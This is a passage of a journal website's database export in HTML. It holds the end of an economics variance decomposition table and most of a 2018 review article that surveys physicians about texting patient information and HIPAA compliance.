style=\"font-size:10.0pt\">89.10425</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">5.005290</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">10</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.993963</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">5.898051</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">86.82990</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">7.272045</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"3\" style=\"width:55.96%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Variance Decomposition of DLNEXPORT:</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Period</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">S.E.</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">DLNGDP</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">DLNFDI</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">DLNEXPORT</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.205045</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.940944</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">3.893586</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">95.16547</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.286708</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.501461</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">2.720273</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">96.77827</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.344294</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.415485</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">2.026070</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">97.55845</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.386886</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.580233</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.616347</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">97.80342</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">5</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.418300</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.924549</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.385789</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">97.68966</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.440937</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.394818</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.274032</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">97.33115</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">7</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.456672</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.946365</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.243751</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">96.80988</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">8</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.467113</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">2.538785</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.269547</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">96.19167</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">9</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.473670</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">3.134166</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.332257</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">95.53358</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">10</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.477559</span></p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">3.697571</span></p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.416197</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">94.88623</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"width:78.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Cholesky Ordering: DLNGDP DLNFDI DLNEXPORT</span></p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:11.9%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.02%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.04%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:22.0%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Source: Own computation</span></p>\r\n</div>\r\n</div>\r\n','1544446437.pdf',NULL,'1544446437.jpg','',0,1,'2018-12-10 18:23:57','2018-12-11 00:11:29',1),(29,20,'20','2018','Physician Text Messaging as a Facilitator for Patient Care','Ward SG, and Habusta SF*','Review Article','Physician-Text-Messaging-as-a-Facilitator-for-Patient-Care','Physician-Text-Messaging-as-a Facilitator for Patient Care','Physician Text Messaging as-a-Facilitator-for-Patient-Care','Physician-Text Messaging as a Facilitator-for-Patient-Care','<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Chronicles of Complementary, Alternative &amp; Integrative Medicine</strong></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Physician Text Messaging as a Facilitator for Patient Care</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Ward SG, and Habusta SF<sup>*</sup></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Department of Orthopedic Surgery, Lake Erie College of Osteopathic Medicine, USA</span></p>\r\n\r\n<p style=\"margin-left:0in; margin-right:-10.0pt\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup>*</sup></strong><strong>Corresponding author</strong>:&nbsp; Habusta SF,&nbsp; Department of Orthopedic Surgery, Lake Erie College of Osteopathic Medicine, 2625 Parade Street, Erie, Pa 16504, USA, Tel: +18144526383; Fax: +18144521427; Email: <a href=\"mailto:shabusta@lecom.edu\">shabusta@lecom.edu</a></span></p>\r\n\r\n<p style=\"margin-left:0in; margin-right:-10.0pt\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Habusta SF and Ward SG (2018) Physician Text Messaging as a Facilitator for Patient Care. Chronic Complement Altern Integra Med: CCAIM-100002</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date:</strong> 27 November, 2018<strong>;</strong> <strong>Accepted Date: </strong>11 December, 2018<strong>; Published Date:</strong> 20 December, 2018</span></p>\r\n','<p style=\"text-align:justify\"><strong><span style=\"font-family:&quot;Times New Roman&quot;,serif\">1. <span style=\"font-family:Times New Roman,Times,serif\">Abstract</span></span></strong></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Texting has become a common form of communication throughout the world.&nbsp; In addition to its use for social communication, texting has entered the work force as a valuable tool used for communication of patient care information.&nbsp; A survey was sent to physicians and post graduate learners via mass email.&nbsp; This included a link to an anonymous survey containing ten questions regarding their texting habits and how they perceived the usefulness of texting in different common medical scenarios. Data was collected by Google forums. A second email was sent out3 months later to encourage additional participants in the survey. A total of 206 replied over a period of 3 months. Of the respondents, there were 8 attending physicians, 10 fellows, 27 PGY-5, 15 PGY-4, 46 PGY-3, 34 PGY-2, and 66 interns. The survey was ten questions that assessed physician texting usage, physician knowledge of HIPAA policy with regard to texting, and physician impressions of the effectiveness of texting with regard to medical care. Texting is an efficient way of communicating that physicians can learn to use as an effective tool to help them be more efficient and improve patient care in a safe and a secure manner. HIPAA compliance is crucial to keep patient information safe and the physician in line with protocol. With proper communication and attention to detail text messaging has the potential to improve quality of patient care, post graduate medical learning, patient satisfaction, and physician satisfaction.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Keywords:</strong><strong> </strong>Communication; Encryption; Healthcare; HIPAA; Texting</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3.Introduction</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Over the past decade text massaging has quickly become a major form of communication among all age groups. As of 2011, 73% of Americans send regular texts messages as a form of communication [1]. Originally, texting gained popularity in the teenage and young adult age groups, but its use has since extended to all age groups. In addition to texting for social reason, texting has become more widely used in the work place. Physicians and other health care professionals are no exception in this increase in usage. One poll has shown that 72% of physicians use texting as a form of communication with one another [2].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">There are potential incredible benefits with texting between busy physicians.&nbsp; It is an instantaneous, direct, and convenient way for them to get messages to one another. It reduces wait time for a response while freeing the physician to continue working, and therefore expediting patient care [3].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">While many benefits have justified the adoption of text messaging among physicians, it is not without potential hazards. The first and foremost is protection of patient health information. The Health Insurance Portability and Accountability Act (HIPAA) has established rules that limit what can and cannot be sent via text messaging.&nbsp; With penalties of up to $50,000 per violation, vigilance as to what is sent and received through text messaging must be a high priority for physicians.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4. T</strong><strong>extin</strong><strong>g in Healthcare</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Health care professionals are embracing text messaging at the same rate as the general public. As stated before, 73% of the general population was texting while 72% of physicians were texting one another about work [2].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In addition to texting as a form of communication in their personal lives, physicians have found that text messaging can be used for communication within their professional activities. Texting is the fastest and most efficient way to send information while also eliminating factors such as background noise, poor wireless net work coverage, lack of an available computer, and multiple emails which dilute their in boxes [4]. The efficiency of text messaging is well documented. It has been shown that 90% of text messages are read within three minutes of their delivery, over 97% of text messages are opened, while only 22% of emails are opened, and the average person responds to a text message in 90 seconds, compared to90 minutes for an email [5].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Texting improves communication between physicians, and it may also be able to improve the quality of healthcare delivery. The 2011 Joint Commission sent in elevent report identified poor communication as the number one cause of delays in patient treatment as well as the second leading cause of operative and post operative complications [6]. Traditionally, contacting a physician has been facilitated by beeper and telephone systems which can be linked to delays in response time and interruptions that may compromise patient care [7]. Text messages allows for immediate delivery of messages to the recipient as well as an immediate response which can be crucial when life or limb saving measures are time dependent.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5. HIPAA Compliance</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">When it is used correctly, texting does not violate HIPAA regulations.&nbsp; Whether it is compliant or not depends on who the message is being sent to, the content of the message (does it contain protected health information), and the mechanisms put into place to protect the information.</span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">HIPAA Security Rules have been established to help guide users on whether they are being compliant or not.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Access to PHI (Patient Health Information) must be limited to authorized users who require the information to do their jobs.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">A system must be implemented to monitor the activity of authorized users when accessing PHI.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Those with authorization to access PHI must authenticate their identities with a unique, centrally-issued username and PIN.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Policies and procedures must be introduced to prevent PHI from being inappropriately altered or destroyed.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Data transmitted beyond an organization&acute;s internal firewall should be encrypted to make it unusable if it is intercepted in transit [4]<strong>.</strong></span></li>\r\n</ul>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Standard text messaging when used incorrectly, can fail on any or all of these accounts. Violations also include sending the message the wrong number, forwarding the message to another unauthorized recipient, and message interception in transit [8].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6. Method</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The objective of this study was to evaluate the way health care professionals use text messaging in their jobs, the benefits they see from it, their knowledge of HIPAA rules and restrictions, and how they see the future of text messaging is in health care. A survey of ten questions was created using Survey Monkey and distributed through a mass email to attending physicians and post graduate learners of the LECOM Health consortium. IRB exemption was obtained prior to collection of the data.&nbsp; Participants voluntarily completed the anonymous survey. No identifiers of participants were recognized including Internet Protocol (IP) addresses. After a span of three months, data was collected through Survey Monkey from 206 participating physicians.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The ten questions surveyed of the participants were:</span></p>\r\n\r\n<ol style=\"list-style-type:upper-roman\">\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">What is your position in healthcare?</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">What smart phone do you use?</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">How is your phone secured?</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">What information have you received or sent to other healthcare professionals via text?</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Do you use texting as a mode of &ldquo;sign out&rdquo;?</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Do you feel sending pictures of X-rays or clinical pictures of patients is helpful in communicating?</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Are you familiar with your institutional policy regarding texting?</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Have you experienced poor communication with texting that resulted in a misunderstanding, wrong decision, or sentinel event?</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Do you find it helpful to reference back to text messages for patient care?</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In the future, healthcare communications via texting will _____________?</span></li>\r\n</ol>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>7. Results</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Of the respondents, there were 8 attending (3.9%), 10 fellows (4.9%), 27 PGY-5 (13.1%), 15 PGY-4 (7.3%), 46 PGY-3 (22.3%), 34 PGY-2 (16.5%), and 66 interns (32%). Of those147 (71.4%) use an Apple phone, 37 (18.0%) use a Samsung, 10 (4.9%) use a Google phone, 4 (1.9%) use an LG, 3 (1.5%) use a Blackberry, and 1 (0.5%)uses a Microsoftphone.1 responder does no town a smart phone.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In terms of securing the smart phone, 163 use a security pass code, 130 use a finger print scanner, 36 use facial identification, and 7 use a retina scanner. Of the responders, 13 do not secure their cell phone in any way. 129 (62.6%) responders use two or more of these methods to secure their phones.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Of the participants, only 9.7% have not sent any patient information through text messages. The most common use of text messaging was to send patient location (158 responders, 76.7%) closely followed by patient diagnosis (155 responders, 75.2%). Patient history (139 responders, 67.5%) and photo documentation of a patient&rsquo;s body part (109 responders, 52.9%) were also commonly sent in text messages. Only 104 (50.5%) physicians sent a patient&rsquo;s name through text messaging.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Texting was used as a mode of &ldquo;sign out&rdquo; by 68 (33%) responding physicians. 52 (25.2%) of them felt that it is an adequate and helpful way of signing out, while 16 (7.8%) felt that it is not adequate or helpful. Of those that do not use texting to &ldquo;sign out,&rdquo;77 (37.4%) do not feel that it is adequate, 32 (15.5%) say it is against the rules where they work, and 29 (14.1%) feel that it takes too much time.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Texting patient photos were highly valued among doctors. 148 (71.8%) of the respondents felt that this very helpful, and 23 (11.2%) feeling that it is helpful but not necessary. Of those that do not send pictures, 15 (7.3%) do not think it is helpful, 18 (8.7%) say it is against the rules, and 2 (1.0%) do not send pictures because their patients do not want them to.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">When asked about familiarization within situational policy on texting 141 (68.4%) were familiar with their institution&rsquo;s policy and 65 (31.6%) admitted that they were not familiar with institutional policies regarding texting.&nbsp; Of those that were familiar, 16 (7.8%) said text messaging is allowed, 107 (51.9%) say it is only allowed through a secure third party application or device, and 18 (8.7%) said their institution does not allow it. Of those that were not familiar with their institution&rsquo;s policy, 56 (27.2%) said they were simply not familiar with it and 9 (4.4%) said their institution did not have a policy.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Regarding experiences of poor communication through text messaging, 38 (18.4%) had experienced at least one instance of poor communication and 168 (81.6%) had not experienced any poor communication. Of those that had a miscommunication, 4 had a sent in elevent, 24 had an event that was cleared up through texting without harm to the patient, and 29 had an event that was cleared up with a phone call without harm to the patient.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">On using text messages to reference for patient care data, 147 (71.4%) doctors found that it was useful to have available. Of those, 134 (65.0%) find having the information as a reference useful and 13 (6.3%) find it useful for rounding and/orpatientcare.59 (28.6%) responders did not find using text messages as a patient care reference necessary.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Finally, with regard to the future of text messaging in healthcare187 (90.8%) doctors surveyed felt that texting is the way of the future and its use will continue to increase.16 (7.8%) felt that the usefulness will stay the same and only 3 (1.5%) participants feel that it is a fad and the use will decrease in the future.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>8. Discussio</strong><strong>n</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The results show that 90.3% of physicians have used text messaging to send patient information.&nbsp; Text messaging provides a convenient method of getting information to colleagues, especially patient location and diagnosis.&nbsp; Only 50.4%ofresponders had sent a patient&rsquo;s name in a text message.&nbsp; The cause for this is some possible awareness of patient rights and/or knowledge of their institution&rsquo;s policy on patient privacy. However, over 30% are not aware of the texting privacy policy at their institution, and of those, 4.4% stated that there was no policy.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Assuring the awareness of patient rights to privacy and that sending certain patient information without encryption has become a HIPAA policy violation should be a priority of all institutions that allow texting of medical information. According to HIPAA, all forms of communication discussed are without violation as long as patient identifiers are not included. In cases where patient identifiers, such as patient name or history are used HIPAA Security Rules outline guidelines for encryption of that information.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">These HIPAA guidelines can easily be followed with the 